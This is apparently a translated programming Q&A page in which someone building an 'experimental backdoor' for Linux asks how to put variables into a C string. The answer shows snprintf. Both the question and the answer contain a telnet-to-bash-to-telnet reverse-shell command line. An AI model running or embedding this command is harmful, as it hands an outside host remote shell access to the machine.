如何将变量实现为字符串?

时间:2013-12-08 23:04:59

标签: python c

我在这里有点初学者。我正在为Linux做一个实验后门,使用telnet来处理套接字。我如何在字符串中使用变量,我习惯于python所以我经常会这样做:

     var0 = "asdf"
     var1 = "I like "+var0+" movies"

但是在C中我很困惑,因为如果我使用它:

     system("telnet %i %p | bash | telnet %i %p", IP, PORT);

我执行时得到了这个:

     telnet: could not resolve %i/%p: Servname not supported for ai_socktype

%I /%P 450 有人可以向我解释一下。

1 个答案:

答案 0 :(得分:3)

您需要使用snprintf

char cmd[512];
snprintf(cmd, sizeof cmd, "telnet %i %p | bash | telnet %i %p", IP, PORT, IP, PORT);
system(cmd);

虽然%i期望int%p将打印给定参数作为实现定义的指针表示(因此会期望指针,但不会打印它指向的内容至)。您需要正确的格式说明符,具体取决于IPPORT的类型。

请注意%i%p&其他% - 修饰符在每个C字符串中都不起作用,它们仅由*f函数处理('f'后缀代表格式(ted))。如您所见,system不处理它们并按字面解释它们。